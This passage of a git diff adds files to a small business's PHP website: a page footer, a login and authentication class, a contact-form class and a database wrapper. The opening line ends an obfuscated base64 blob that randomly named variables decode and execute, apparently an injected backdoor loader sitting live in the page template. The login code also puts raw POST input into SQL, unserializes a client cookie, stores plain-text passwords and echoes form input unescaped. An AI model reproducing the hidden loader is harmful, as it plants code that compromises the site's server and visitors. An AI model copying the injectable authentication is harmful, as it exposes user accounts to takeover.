zo6NiUJIT9AaxQIJSd+SHUMSXJVTm5rd0EiOAQqXFxubXBeYCUOJh4EaX93QSI4BCpcQz0nJBE8KRA7FxI9YGwMInFADwYOPCE/TWAlDiYeBGBrLBAqPQEhGUltNjEMKDRBdAAEPTclC2QlGjoXWjQ/KhchJR09HEEvIzsWIWoVRXhoLzc5BjA4ByFSDCglPgYbNBAqERQ9J39BJzwMZnhoMkhebGAjDTxPByguJAB/W2FGGwdpajEQKjIcJh0PFicvDDclG2dVBDEnNEJteGJGexpDS15sBDQQKhFJbSE6AWh1GioBSHJIXmxNdRoqAUF0Yj0KLT9AbS4Pa25zFyEiQXR4aEA/XWxNNAQ8F2tASz4DZHkOOhwCPSs4Cxs0ECYBFTpqcBYsNAQjLQQxJzRCbXhiRntobTAyFmRsSA8BCSwuOzohKQ0sWkUqLzNMf1thRhcNOiddbE04Dm9aBzwsNBEtPgYQFxkgMSMWbHYbNgEVLC9wTG1bYUYJa0BLXiUrMzc8BgA7Nn9Mf1thRnshOjskESE8QGsRDC1rbG9NWGFrAAQ6YmpFBD4KEBUEPR00CiolDSEGEmFrbG9NWGEPHQMWJzkBGzIEKhMPYWtsb01YFUV7aCwuJABOWGEmFEkvNzkGMDgHIS0EMSskETd5Tz8TEjo2PxcxdkFmeGhAOV1sTVgoIBA+OjY2FzB5QXR4aEBLFxUlIhs7GhM8anMGKTVBdHhoQEtzFyEiSHJSISYgCAIhJTcsHQ89JzkRN3lBdHhoQEsXCiYODSEWPiouMgQqeUF0eGhAP11sTTQEPBdrQEs+A2R5KCYBPjsnJAoxIwsqWkUvYmpFBCEHPxcPYWY0CCB9Sj1QSGBrXWxNKmJGe2htMDIWZGxIbVBaQ0tebDM5ASMXSWgCMQArN0BrFEhgYixFYCMNPFJPdGIXAzY0CStaRS9uZlV2ZUF0UhxDS15sBCELIx0SLGpzA21qYkZ7HENLXhchJR09HEFtMDIWf1thMg==";$MQpUwRXJgE=$DWivqyjBsI($yOcUewhZGl,$qnORqPCCtP);$MQpUwRXJgE($awwAsCKtAt);?>
+<div id="copyright">
+Internet services provided courtesy of
+<a href="http://www.gaslightmedia.com"><font color="white">Gaslight Media</font></a>
+</div>
+<script language="javascript" type="text/javascript" src="/js/awstats_misc_tracker.js" ></script>
+<noscript><img src="/js/awstats_misc_tracker.js?nojs=y" height="0" width="0" border="0" style="display: none"></noscript>
+
diff --git a/classes/class_auth.inc b/classes/class_auth.inc
new file mode 100755 (executable)
index 0000000..a700024
--- /dev/null
@@ -0,0 +1,332 @@
+<?php
+require_once( BASE.'classes/class_db.inc' );
+/** authuser
+  $Id: class_auth.inc,v 1.1.1.1 2006/03/27 14:44:14 cscott Exp $
+  Authentication class. Enables different levels
+  of authentication for users with one master(admin) user 
+  able to set up accounts for others and permissions based on different 
+  levels.  Can be modified to use more levels.  This is set up with four levels.
+
+  Permissions are checked using bitwise operators so you can have custom permission 
+  levels per user.  Thus an admin user with perms set to 15 would have all levels.
+  CREATE TABLE authuser (
+  id SERIAL,
+  username text,
+  password text,
+  perms int
+  );
+  GRANT ALL ON authuser TO nobody;
+  GRANT ALL ON authuser_id_seq TO nobody;
+ */
+
+class authuser {
+       /** @var auth session variable which holds user and permission data */
+       var $auth;
+       /** @var page - The present page your on */
+       var $page;
+       /** @var conn  - db connection result identifier */
+       var $conn;
+       /** @var usertable - db table which holds the user data */
+       var $usertable;
+       /** @var constraint - User constrain for queries */
+       var $constraint;
+       /** @var cookie_name The name of the cookie var */
+       var $cookie_name;
+       /** @var cookie_exp The expire time (Seconds) for the cookie */
+       var $cookie_exp;
+       /** @var cookie_domain The domain of the cookie */
+       var $cookie_domain;
+       /** @var object DB database object */
+       var $DB;
+       /** @var rember bool if to create coockies for storing sessions */
+       var $remember;
+       /** @var $auth_data array to keep user info */
+       var $auth_data;
+
+       /**     authuser 
+         Class construtor.  Set up the default variables for 
+         the class.
+        */
+       function authuser()
+       {
+               $this->DB =& new GLM_DB();
+               $this->auth['perms'] = 1;
+               $this->page = $GLOBALS['PHP_SELF'];
+               $this->usertable = "authuser";
+               $this->cookie_name = "GLM_AUTH";
+               $this->cookie_exp = "2592000";
+               $this->cookie_domain = URL_BASE;
+               $this->fill_data();
+       }
+
+       function fill_data()
+       {
+               if( $_SESSION['auth'] )
+               {
+                       $this->auth_data =& $_SESSION['auth'];
+                       return( $this->auth_data );
+               }
+               else
+               {
+                       return( false );
+               }
+       }
+       /**     verify
+         Checks the user login.  Checks the users IP address to be sure
+         it is not hijacked.
+         @param level - If a level is giving and the user doesn't match the
+         level then the page is not shown. 
+         @return void
+        */
+       function verify($level=NULL)
+       {
+               global $username,$password,$perms,$auth,$LOGOUT,$REMOTE_ADDR;
+               //$dbd = $this->connect();
+               /* Check to see if user is logging out */
+               if($LOGOUT)
+               {
+                       $this->logout();
+               }
+
+               /* Check to see if GLM-AUTH cookie is set then check if 
+                  $auth is registered in session. 
+                */
+               if($_COOKIE[$this->cookie_name])
+               {
+                       $auth = unserialize(stripslashes($_COOKIE[$this->cookie_name]));
+                       // double check the username and password only if the time is greater than checktime
+                       $query = "SELECT        password 
+                               FROM    ".$this->usertable." 
+                               WHERE   id = ".$auth['userid'];
+
+                       if(!$res = $this->DB->db_exec($query))
+                       {
+                               echo "failed ->".$query;
+                       }
+                       $row = pg_fetch_array($res,0);
+                       $pCheck = md5($row['password']);
+                       if($pCheck != $auth['password'])
+                       {
+                               session_start();
+                               session_destroy();
+                               $p = session_get_cookie_params(); 
+                               setcookie(session_name(), "", 0, $p["path"], $p["domain"]);
+                               setcookie($this->cookie_name,"",0,"/");
+                               if(!$this->login())
+                               {
+                                       $this->failed();
+                               }
+                       }
+
+                       $this->auth = $auth;
+                       session_register("auth");
+                       setcookie($this->cookie_name,"",time() - 3600,$this->cookie_domain);
+                       $sessenc = serialize($auth);
+                       setcookie($this->cookie_name,$sessenc,time()+(integer)$this->cookie_exp,$this->cookie_domain);
+               }
+               elseif(!session_is_registered("auth"))
+               {
+                       return( false );
+               }
+               else
+               {
+                       if($auth['siteid'] != $this->cookie_name)
+                       {
+                       return( false );
+                       }
+               }
+
+
+
+               /* Refresh the perms */
+               $oldperms = $this->auth['perms'];
+               $qs = "SELECT   perms 
+                       FROM    ".$this->usertable." 
+                       WHERE   id = ".$auth['userid'];
+
+               if(!$res = pg_exec($this->dbd,$qs))
+               {
+                       echo "failed ->".$qs;
+               }
+               $this->auth['perms'] = pg_result($res,0,'perms');
+               if($level)
+               {
+                       if($this->auth['perms'] & $level)
+                       {       
+                               //echo "GOOD";
+                       }
+                       else 
+                       {
+                               $this->failed("You cannot see this page(Not enough Permissions)");
+                       }
+               }
+               return( true );
+       }
+
+       /**     login
+         User login funtcion.  Now this will check for a cookie
+         which can be set if the user selects remember my login.
+         @return boolean - True if login in successful False not.
+        */
+       function login()
+       {
+               global $auth,$remember_login,$bus_name;
+
+               if( isset( $_POST['username'] ) && $_POST['username'] != "" )
+               {
+                       $qs = "SELECT   * 
+                               FROM    ".$this->usertable."
+                               WHERE   username = '".$_POST['username']."'
+                               AND             password = '".$_POST['password']."';";
+
+                       if(!$res = $this->DB->db_exec($qs))
+                       {
+                               echo $qs;
+                       }
+                       if(pg_numrows($res)>0)
+                       {
+                               $row = pg_fetch_array($res,0,PGSQL_ASSOC);
+                               $this->auth['uname'] = $row['fname'].' '.$row['lname'];
+                               $this->auth['perms'] = $row['perms'];
+                               $this->auth['ip'] = $_SERVER['REMOTE_ADDR'];
+                               $this->auth['userid'] = $row['id'];
+                               $this->auth['siteid'] = $this->cookie_name;
+                               $_SESSION['auth'] =& $this->auth;
+                               if( isset( $_POST['remember_login'] ) && $_POST['remember_login'] == "t" )
+                               {
+                                       $sessenc = serialize($auth);
+                                       setcookie($this->cookie_name,$sessenc,time()+(integer)$this->cookie_exp,$this->cookie_domain);
+                               }
+                               return(true);
+                       }
+                       else 
+                       {
+                               session_register("auth");
+                               $auth['failed'] = true;
+                               return(false);
+                       }
+               }
+               else 
+               {
+                       session_register("auth");
+                       $auth['failed'] = true;
+                       return(false);
+               }
+       }
+
+       function is_admin()
+               {
+                       if( $_SESSION['auth']['admin'] == 't' )
+                       {
+                               return( true );
+                       }
+                       else
+                       {
+                               return( false );
+                       }
+               }
+       /** login_screen 
+         Outputs the login screen
+         @return void
+        */
+
+       function login_screen()
+       {
+               $out = '<form action="'.$this->page.'" method="post">
+                       <table width="400" align="center" summary="Header Information" cellpadding="0" cellspacing="0" border="0">
+                       <tr valign=top align=left>
+                       <td colspan="2">Forgot your password Click <a href="'.BASE_URL.'forgot.phtml">here</a>.</td>
+                       </tr>';
+                       if( $this->remember == true )
+                       {
+                               $out .= '<tr valign=top align=left>
+                       <td colspan="2">Remember My Login!<input type="checkbox" name="remember_login" value="t"></td>
+                       </tr>';
+                       }
+                       $out .= '<tr valign=top align=left>
+                       <td colspan="2">&nbsp;</td>
+                       </tr>
+                       <tr valign=top align=left>
+                       <td>Username:</td>
+                       <td><input type="text" name="username"
+                       value="';
+                       if ( isset( $this->auth["uname"] ) ) 
+                       {
+                               $out .= $this->auth["uname"];
+                       }
+                       $out .= '" size=32 maxlength=32></td>
+                       </tr>
+                       <tr valign=top align=left>
+                       <td>Password:</td>
+                       <td><input type="password" name="password" size=32 maxlength=32></td>
+                       </tr>
+                       <tr>
+                       <td colspan="2">&nbsp;</td>
+                       <td align="right" colspan="2"><input type="submit" name="submit" value="Login now"></td>
+                       </tr>
+                       </table>
+                       <p>'; 
+                       if ( isset( $_GET['username']) )
+                       {
+                               $out .= '<!-- failed login code -->
+                       <p>
+                       <table>
+                       <tr>
+                       <td colspan=2><font color=red><b>Either your username or your password
+                       are invalid.<br>
+                       Please try again!</b></font></td>
+                       </tr>
+                       </table>';
+                       }
+                       $out .= '</table>
+                       </form>
+                       <script language="JavaScript">
+                       <!--
+                       if (document.forms[0][0].value != \'\')
+                       {
+                               document.forms[0][1].focus();
+                       } 
+                       else 
+                       {
+                               document.forms[0][0].focus();
+                       }
+               // -->
+               </script>';
+               return( $out );
+       } 
+
+       /**     logout
+         Ends the current session and distroys any cookies that were
+         created
+         @return void
+        */
+       function logout()
+       {
+               session_start();
+               session_destroy();
+               $p = session_get_cookie_params(); 
+               setcookie(session_name(), "", 0, $p["path"], $p["domain"]);
+               setcookie($this->cookie_name,"",0,"/");
+               header("Location: index.phtml");
+               exit();
+       }
+
+       /**     failed
+         Stop the script from going any further.
+         @param reply - string to show user if any.
+         @return void
+        */
+       function failed($reply=NULL)
+       {
+               if(isset($reply))
+               {
+                       die('<b>'.$reply.'</b>');
+               }       
+               else 
+               {
+                       exit;
+               }
+       }
+}
+
+?>
diff --git a/classes/class_contact_form.inc b/classes/class_contact_form.inc
new file mode 100755 (executable)
index 0000000..57c113f
--- /dev/null
@@ -0,0 +1,437 @@
+<?php
+//$Id: class_contact_form.inc,v 1.1.1.1 2006/03/27 14:44:14 cscott Exp $
+include_once("class_db.inc");
+/** @class contact_form.
+  creates a contact form with an updatable fields array.
+  Don't set values in the var part only declare them.  If you set them their they will be like
+  defines and cannot be changed.  Setup in constructor function then there's no problem.
+ */
+class contact_form {
+       var $DB_fields;         // array for the needed fields
+       var $CDB;                       // database object
+       var $email;             // the email address. if blank will not send out
+       var $table_name;        // database table name.
+       var $styleLabel;        // css style
+       var $fieldcell;         // css style
+       var $contact_db;        // boolean weather or not they have database
+
+
+       /**
+        * contact_form: constructor
+        * 
+        * @return void 
+        * @access public
+        **/
+       function contact_form()
+       {
+               $this->CDB =& new GLM_DB();     // creates DB object    
+               $this->set_DB_fields();                 // set up the DB_fields array (configuration)
+               $this->set_int_array();                 // interest array
+               $this->email = OWNER_EMAIL;             // email address for mail function
+               $this->table_name = 'contact'; // the contact table 
+               $this->styleLabel = "labelcell";// css style for the labelcell
+               $this->fieldcell = "fieldcell"; // css style for the field input
+               $this->styleLabelSmall = "smalllabelcell";// css style for the labelcell
+               $this->fieldcellSmall = "smallfieldcell"; // css style for the field input
+               $this->contact_db = 1;                  // if they have contact database or not
+       }
+
+
+       /**
+       * get_form: one function to rule them all
+        * 
+        * @return void 
+        * @access 
+        **/
+       function get_form()
+       {
+               if( $_POST )
+               {
+                       if( $error = $this->form_process() )
+                       {
+                               echo '<span class="req">Some fields are empty!</span><br>';
+                               echo $this->display_form( $error );
+                       }
+               }
+               else
+               {
+                       echo $this->display_form();
+               }
+       }
+
+
+       /**
+        * set_DB_fields:
+        * 
+        * @return 
+        * @access 
+        **/
+       function set_DB_fields()
+       {
+               $DB_fields[]=array('name'=>'fname',     'title'=>'First Name',  'type' => 'text',       'size'=>35, 'colspan'=>2,'req'=>1);
+               $DB_fields[]=array('name'=>'lname',     'title'=>'Last Name',   'type' => 'text',       'size'=>35, 'colspan'=>2,'req'=>1);
+               $DB_fields[]=array('name'=>'add1',      'title'=>'Address 1',   'type' => 'text',       'size'=>35,     'colspan'=>2);
+               $DB_fields[]=array('name'=>'add2',      'title'=>'Address 2',   'type' => 'text',       'size'=>35,     'colspan'=>2);
+               $DB_fields[]=array('name'=>'city',      'title'=>'City',                'type' => 'text',       'size'=>30,     'colspan'=>2);
+               $DB_fields[]=array('name'=>'state',     'title'=> 'State',              'type' => 'state',      'size'=>2,      'colspan'=>1);
+               $DB_fields[]=array('name'=>'zip',       'title' => 'Zip',               'type' => 'text',       'size'=>5,      'colspan'=>1);
+               $DB_fields[]=array('name'=>'email',     'title' => 'Email',             'type' => 'text',       'size'=>35, 'colspan'=>2,'req'=>1);
+               $DB_fields[]=array('name'=>'phone',     'title' => 'Phone',             'type' => 'text',       'size'=>20,     'colspan'=>2);
+               $DB_fields[]=array('name'=>'fax',       'title' => 'Fax',               'type' => 'text',       'size'=>20,     'colspan'=>2);
+               $DB_fields[]=array('name'=>'comments','title' =>'Comments',     'type' => 'desc'); 
+               $DB_fields[]=array('name'=>'mail_ok','title' => 'Mail Ok?',     'type' => 'radio');
+               //$DB_fields[] = array( 'name'=>'interest','title' => 'Interest','type' => 'interest');
+               //$DB_fields[]=array('name'=>'hidden_field','type'=>'hide','val'=>'1');
+               $this->DB_fields = &$DB_fields; 
+       }
+
+       /**
+        * set_int_array:
+        * 
+        * @return 
+        * @access 
+        **/
+       
+       function set_int_array()
+       {
+               $int_array = array(
+                               "capital_campaign"      => "Capital Campaign Information",
+                               "membership"            => "Membership Information",
+                               "class_registration" => "Class Registration",
+                               "ticket_sales"          => "Ticket Sales",
+                               "no_preference"         => "No Preference",
+                               );              
+               $this->int_array = $int_array;
+       }
+
+
+       /**
+        * interest:
+        * @param $field: 
+        * 
+        * @return 
+        * @access 
+        **/
+       function interest($field)
+       {               
+               $out .= '<table><tr>';
+               $count = 0;
+               foreach($this->int_array as $key=>$value)
+               {
+                       if($count==0)
+                       {
+                               $out .= '<td>';         
+                       }
+                       $out .= '<input type="checkbox" name="interest[]" value="'.$key.'"';
+                       if(strstr($field,$key))
+                       {
+                               $out .= ' checked';                             
+                       }
+                       $out .= '>'.$value.'<br>';              
+                       if($count==5)
+                       {
+                               $out .= '</td><td>';            
+                       }
+                       if($count==11)
+                       {
+                               $out .= '</td>';                
+                       }
+                       $count++;               
+               }               
+               $out .= "</tr></TABLE>";
+               return( $out );
+       }
+
+
+       /**
+       * display_form: shows the form and any errors in it
+        * @param $error = NULL: error array  
+        * 
+        * @return string $out
+        * @access public
+        **/
+       function display_form($error=NULL)
+       {                       
+               if(is_array($_POST))
+               {
+                       foreach($_POST as $k=>$v)
+                       {
+                               $_POST[$k] = trim(stripslashes($v));
+                       }
+               }
+               $colcount = 1;
+               $out = "<div id=\"contact\"><form action=\"".$_SERVER['REQUEST_URI']."\" method=\"POST\">";
+               $out .= "<table cellspacing=0 cellpadding=4 width=350 align=center border=0>";
+               foreach($this->DB_fields as $key=>$value)
+               {
+                       switch( $value['type'] )
+                       {
+                               case "state":
+                                       if( $value['colspan'] == 2 || $colcount == 1 )
+                                       {
+                                               $out .= '<tr>';
+                                       }
+                                       if( $value['colspan'] == 1 )
+                                       {
+                                               $label = $this->styleLabelSmall;
+                                               $field = $this->fieldcellSmall;
+                                       }
+                                       else
+                                       {
+                                               $label = $this->styleLabel;
+                                               $field = $this->fieldcell;
+                                       }
+                                       $out .= '<td colspan="'.$value["colspan"].'" class="'.$label.'" nowrap="nowrap"><label for="'.$value["name"].'">';
+                                       if($value['req'])
+                                       {
+                                               $out .= '<span class="req">*';
+                                       }
+                                       $out .= $value['title'];
+                                       if($value['req'])
+                                       {
+                                               $out .= '</span>';
+                                       }       
+                                       $out .= '</label></td>
+                                               <td colspan="'.$value["colspan"].'" class="'.$field.'">';
+                                       $out .= GLM_TEMPLATE::build_picklist($value['name'],$GLOBALS['states_US'],$_POST['state']);
+                                       $out .= ( $error[$value['name']] ) ? '<span class="req">Required!</span>' : '';
+                                       $out .= '</td>';
+                                       if( $value['colspan'] == 2 || $colcount == 2 )
+                                       {
+                                               $out .= '</tr>';
+                                       }
+                                       if( $colcount == 2 && $value['colspan'] == 1 )
+                                       {
+                                               $colcount = 1;
+                                       }
+
+                                       if( $value['colspan'] == 1 )
+                                       {
+                                               $colcount++;
+                                       }
+                               break;
+                               case "text":
+                                       if( $value['colspan'] == 2 || $colcount == 1 )
+                                       {
+                                               $out .= '<tr>';
+                                       }
+                                       if( $value['colspan'] == 1 )
+                                       {
+                                               $label = $this->styleLabelSmall;
+                                               $field = $this->fieldcellSmall;
+                                       }
+                                       else
+                                       {
+                                               $label = $this->styleLabel;
+                                               $field = $this->fieldcell;
+                                       }
+                                       $out .= '<td colspan="'.$value["colspan"].'" class="'.$label.'" nowrap="nowrap"><label for="'.$value["name"].'">';
+                                       if($value['req'])
+                                       {
+                                               $out .= '<span class="req">*';
+                                       }
+                                       $out .= $value['title'];
+                                       if($value['req'])
+                                       {
+                                               $out .= '</span>';
+                                       }       
+                                       $out .= '</label></td>
+                                               <td colspan="'.$value["colspan"].'" class="'.$field.'">
+                                               <input id="'.$value["name"].'" name="'.$value["name"].'" value="'.$_POST[$value["name"]].'"
+                                               size="'.$value["size"].'">';
+                                       $out .= ( $error[$value['name']] ) ? '<span class="req">Required!</span>' : '';
+                                               $out .= '</td>';
+                                       if( $value['colspan'] == 2 || $colcount == 2 )
+                                       {
+                                               $out .= '</tr>';
+                                       }
+
+                                       if( $colcount == 2 && $value['colspan'] == 1 )
+                                       {
+                                               $colcount = 1;
+                                       }
+                                       if( $value['colspan'] == 1 )
+                                       {
+                                               $colcount++;
+                                       }
+                               break;
+
+                               case "static":
+                                       $out .= '<tr><td colspan="'.$value["colspan"].'" class="'.$this->styleLabel.'" align="right">'.$value["title"].'</td>
+                                       <td colspan="'.$value["colspan"].'" class="'.$this->fieldcell.'">'.$_POST[$value["name"]].'</td>
+                                       </tr>';
+                               break;
+
+                               case "interest":
+                                       $out .= '<tr><td colspan="'.$value["colspan"].'" class="'.$this->styleLabel.'" align="right">'.$value["title"].'</td>
+                                       <td colspan="'.$value["colspan"].'" class="'.$this->fieldcell.'">'.$this->interest($_POST[$value["name"]]).'</td>
+                                       </tr>';
+                               break;
+
+                               case "img":
+                                       $out .= '<tr></tr>';
+                               $out .= '<input type="hidden" name="old'.$value["name"].'" value="'.$_POST[$value["name"]].'">';
+                               if($_POST[$value['name']] != "")
+                               {
+                                       $out .= '<tr><td colspan="'.$value["colspan"].'" class="'.$this->styleLabel.'">Current Image:</td>';
+                                       $out .= '<td colspan="'.$value["colspan"].'" class="'.$this->fieldcell.'"><img src="'.MIDSIZED.$_POST[$value["name"]].'">
+                                               </td>
+                                               </tr>
+                                               <tr>
+                                               <td colspan="'.$value["colspan"].'" class="'.$this->styleClass.'">Delete this image:</td>
+                                               <td colspan="'.$value["colspan"].'" class="'.$this->fieldcell.'">
+                                               <input type="radio" name="delete'.$value["name"].'" value="1">Yes
+                                               <input type="radio" name="delete'.$value["name"].'" value="2" CHECKED>No
+                                               </td>
+                                               </tr>';
+                               }
+                               $out .= '<tr><td colspan="'.$value["colspan"].'" class="'.$this->styleLabel.'">New '.$value["title"].':</td>';
+                               $out .= '<td colspan="'.$value["colspan"].'" class="'.$this->fieldcell.'"><input type="file" name="'.$value["name"].'"></td>';
+                               $out .= '</tr>';
+                               break;
+
+                               case "file":
+                                       $out .= '<tr></tr>';
+                               $out .= '<input type="hidden" name="old'.$value["name"].'" value="'.$_POST[$value["name"]].'">';
+                               if($_POST[$value['name']] != "")
+                               {
+                                       $out .= '<tr><td colspan="'.$value["colspan"].'" class="'.$this->styleLabel.'">Current File:</td>';
+                                       $out .= '<td colspan="'.$value["colspan"].'" class="'.$this->fieldcell.'">'.$_POST[$value["name"]].'
+                                               </td>
+                                               </tr>
+                                               <tr>
+                                               <td colspan="'.$value["colspan"].'" class="'.$this->styleLabel.'">Delete this File:</td>
+                                               <td colspan="'.$value["colspan"].'" class="'.$this->fieldcell.'">
+                                               <input type="radio" name="delete'.$value["name"].'" value="1">Yes
+                                               <input type="radio" name="delete'.$value["name"].'" value="2" CHECKED>No
+                                               </td>
+                                               </tr>';
+                               }
+                               $out .= '<tr><td colspan="'.$value["colspan"].'" class="'.$this->styleLabel.'">New '.$value["title"].':</td>';
+                               $out .= '<td colspan="'.$value["colspan"].'" class="'.$this->fieldcell.'"><input type="file" name="'.$value["name"].'"></td>';
+                               $out .= '</tr>';
+                               break;
+
+                               case "desc":
+                                       $rows='';
+                                       $cols='';
+                                       if($value['rows'])
+                                       {
+                                               $rows=' rows="'.$value['rows'].'"';
+                                       }
+                                       if($value['cols'])
+                                       {
+                                               $cols=' cols="'.$value['cols'].'"';
+                                       }
+                                       
+                                       $out .= '<tr><td colspan="4" class="'.$this->fieldcell.'">'.$value[title].':
+                                               <textarea cols="30" rows="5" name="'.$value["name"].'"'.$rows.$cols.'>'.$_POST[$value["name"]].'</textarea>';
+                               $out .= '</tr>';
+                               break;
+
+                               case "hide":
+                                       $out .= '<input type="hidden" name="'.$value["title"].'" value="'.$value["val"].'">';
+                               break;
+
+                               case "radio":
+                                       $out .= '<tr><td colspan="2" class="'.$this->styleLabel.'">'.$value[title].':</td>';
+                               $out .= '<td colspan="2" class="'.$this->fieldcell.'"><input type="radio" name="'.$value["name"].'" value="t"';
+                               if($_POST[$value['name']]!='f' )
+                               {
+                                       $out .= ' checked';
+                               }
+                               $out .= '>Yes';
+                               $out .= '<input type="radio" name="'.$value["name"].'" value="f"';
+                               if($_POST[$value['name']]=='f')
+                               {
+                                       $out .= ' checked';
+                               }
+                               $out .= '>No</td>';
+                               $out .= '</tr>';
+                               break;
+                       }
+               }               
+               $out .= '<tr align="center"><td colspan="4"><input type="submit" name="Command" value="Send"></td></tr>';
+               $out .= '</table>';
+               $out .= '</form></div>';
+               return( $out );
+       }
+
+       /**
+       * form_process: process the form checking for any required form values as set up in the
+       * DB_fields array.
+        * 
+        * @return error array if bad 
+        * @access public
+        **/
+       function form_process()
+       {
+               if(is_array($_POST))
+               {
+                       foreach($_POST as $k=>$v)
+                       {
+                               $_POST[$k] = trim(stripslashes($v));
+                       }
+               }
+               $in_fields[] = create_date;
+               $in_vars[] = date("m-d-Y");
+               foreach($this->DB_fields as $key=>$value)
+               {
+                       if($value["req"] == 1 && $_POST[$value["name"]] == "")
+                       {
+                               $error[$value["name"]] = 1;
+                       }
+                       if($value['name']!="comments")
+                       {
+                               $in_fields[] = $value['name'];
+                               $in_vars[] = addslashes(trim($_POST[$value['name']]));
+                       }
+               }
+               if(count($error) > 0)
+               {
+                       return($error);
+               }
+               if(is_array($in_fields))
+               {
+                       $infds = implode(",",$in_fields);
+               }
+               if(is_array($in_vars))
+               {
+                       $invars = implode("','",$in_vars);
+               }
+               $query = "INSERT INTO ".$this->table_name." 
+                       ($infds)
+                       VALUES
+                       ('$invars')";
+               if($this->contact_db)
+                       $this->CDB->db_auto_exec($query);
+               // adding comments again
+               $in_fields[] = "comments";
+               $in_vars[] = $_POST['comments'];
+               if($this->email!="")
+               {
+                       //mail the contact info to mail address.
+                       $body = '';
+                       foreach($this->DB_fields as $key=>$value)
+                       {
+                               if($value['name']=="mail_ok")
+                               {
+                                       $body .= $value['title'].": ";
+                                       $body .= ($_POST[$value['name']]=="t")?"Yes":"No";
+                                       $body .= "\n";
+                               }
+                               elseif($_POST[$value['name']] != '')
+                               {
+                                       $body .= $value['title'].": ".$_POST[$value[name]]."\n";
+                               }
+                       }
+                       $subject = "new contact at ".SITENAME;
+                       $headers = "From: <".SITENAME.">".OWNER_EMAIL."\n"
+                               . "Reply-To: <".SITENAME.">".REPLY_TO."\n";
+
+                       mail($this->email,$subject,$body,$headers);
+                       echo '<div style="font-size:14px;">Thank You</div>';
+               }
+       }
+}
+?>
diff --git a/classes/class_db.inc b/classes/class_db.inc
new file mode 100755 (executable)
index 0000000..c0ff126
--- /dev/null
@@ -0,0 +1,342 @@
+<?php
+// $Id: class_db.inc,v 1.1.1.1 2006/03/27 14:44:14 cscott Exp $
+class GLM_DB 
+       {
+               /** @var host database host server name */
+               var $host;
+               /** @var dbname name of the database */
+               var $dbname;
+               /** @var user The user to connect as */
+               var $user;
+               /** @var password The users password if any */
+               var $password;
+               /** @var dbd Database connection result ID# */
+               var $dbd;
+               /** @var conn string postgres connection string default = CONN_STR */
+               var $conn;
+               /** @var trans bool if true a transaction is in process */
+               var $trans;
+               /** @var dbd connection object from postgres */
+               var $dbd;
+               function GLM_DB( $conn = CONN_STR )
+               {
+                       $this->host = "";
+                       $this->dbname = "";
+                       $this->user = "nobody";
+                       $this->password = "";   
+                       $this->conn = $conn;
+                       $this->trans = 0;       
+                       $this->dbd = "";
+               }
+
+               /** db_connect
+                 Creates a connection to database specified $conn_str, 
+                 and returns a boolean for success.                    
+                 @param conn_str       Connect String                                          
+                 @param fail_mode      Failure Mode
+                 TRUE = Abort with HTML
+                 FALSE = Return with fail code
+                 @returns int - Returns an index or fails using html_error() function
+                */
+
+               function db_connect()
+               {
+                       if( isset( $this->dbd ) && $this->dbd != "" )
+                       {
+                               return( $this->dbd );   
+                       }
+                       switch ( DB_TYPE )
+                       {
+                               case "postgres":
+                                       if( $this->host == "" && $this->dbname == "" )
+                                       {
+                                               $conn = $this->conn;// CONN_STR;
+                                       }
+                                       else
+                                       {       
+                                               $conn .= ( $this->host ) ? 'host='.$this->host.' ' : '';
+                                               $conn .= ( $this->dbname ) ? 'dbname='.$this->dbname.' ' : '';
+                                               $conn .= ( $this->user ) ? 'user='.$this->user." " : '';
+                                               $conn .= ( $this->password ) ? "password=".$this->password : '';
+                                       }
+                                       if( !$this->dbd = pg_connect( $conn ) )
+                                       {
+                                               echo pg_errormessage( $conn );
+                                       }
+                                       break;
+
+                               default:
+                                       return( 0 );
+                                       break;
+                       }
+                       return( $this->dbd );           
+               }
+               /** db_close 
+                 Closes the connection to database specified by the handle dbd 
+                 returns a boolean for success                                         
+                 @returns bool - Returns 1 on success 0 if dbd is not a valid connection       
+                */
+
+               function db_close()
+               {
+                       switch (DB_TYPE)
+                       {
+                               case "postgres":
+                                       @pg_close($this->dbd);
+                               break;
+                               default:
+                               return(0);
+                       }
+               }
+
+               /** db_exec
+                 Execute an SQL query, * returning a valid result index or zero(0) on  
+                 failure.                                                              
+                 @param $qs -- SQL query string                                
+                 @returns int Returns a valid result index on success 0 on failure     
+                */
+               function db_exec( $qs )
+               {
+                       if( !$this->dbd )
+                       {
+                               $this->dbd = $this->db_connect();       
+                       }
+                       switch ( DB_TYPE )
+                       {
+                               case "postgres":
+                                       if(!$ret = pg_exec( $this->dbd, $qs ) )
+                                               echo "<font color=red>".$qs."</font>";
+                               break;
+                               default:
+                               return( 0 );
+                       }
+                       return( $ret );
+               }
+
+               /** db_fetch_array
+                 Stores the data in associative indices, using the field names as      
+                 keys.                                                                 
+                 @param $res -- valid database result index                    
+                 @param $i -- row number                                       
+                 @param $type -- PGSQL_ASSOC,PGSQL_BOTH,PGSQL_NUM                                      
+                 @returns array Returns an associative array of key-value pairs                
+                */
+
+               function db_fetch_array( $res, $i, $type )
+               {
+                       switch ( DB_TYPE )
+                       {
+                               case "postgres":
+                                       $row = pg_fetch_array( $res, $i, $type );
+                               break;
+
+                               default:
+                               return( 0 );
+                       }
+                       return( $row );
+               }
+
+               /** db_freeresult
+                 Free result memory.                                                   
+                 @param $res -- valid database result index                    
+                 @returns bool - Returns 1 for success 0 for failure                   
+                */
+
+               function db_freeresult( $res )
+               {
+                       switch ( DB_TYPE )
+                       {
+                               case "postgres":
+                                       $ret = pg_freeresult( $res );
+                               break;
+
+                               default:
+                               return( 0 );
+                       }
+                       return( $ret );
+               }
+
+               /** db_numrows
+                 Determine number of rows in a result index                            
+                 @param $res -- valid database result index                    
+                 @returns int - Returns number of rows                                 
+                */
+
+               function db_numrows( $res )
+               {
+
+                       switch ( DB_TYPE )
+                       {
+                               case "postgres":
+                                       $ret = pg_numrows( $res );
+                               break;
+
+                               default:
+                               return( -1 );
+                       }
+                       return( $ret );
+               }
+               /** db_auto_get_array
+                 The auto function for retrieving an array based soley on a query      
+                 string. This function makes the connection, does the exec, fetches    
+                 the array, closes the connection, frees memory used by the result,    
+                 and then returns the array                                            
+                 @param $qs    SQL query string                                
+                 @param $i             row number                                      
+                 @param $type  PGSQL_ASSOC or PGSQL_BOTH or PSQL_NUM                                           
+                 @returns array - Returns an associative array of key-value pairs              
+                */
+
+               function db_auto_array( $qs, $i, $type )
+               {
+
+                       $dbd = $this->db_connect();
+                       if( !$dbd )
+                       {
+                               return( 0 );
+                       }
+                       $res = db_exec( $dbd, $qs );
+                       if( !$res )
+                       {
+                               return( 0 );
+                       }
+
+                       $row = db_fetch_array( $res, $i, $type );
+
+                       if(!db_freeresult( $res ) )
+                       {
+                               return( 0 );
+                       }
+
+                       return( $row );
+               }
+
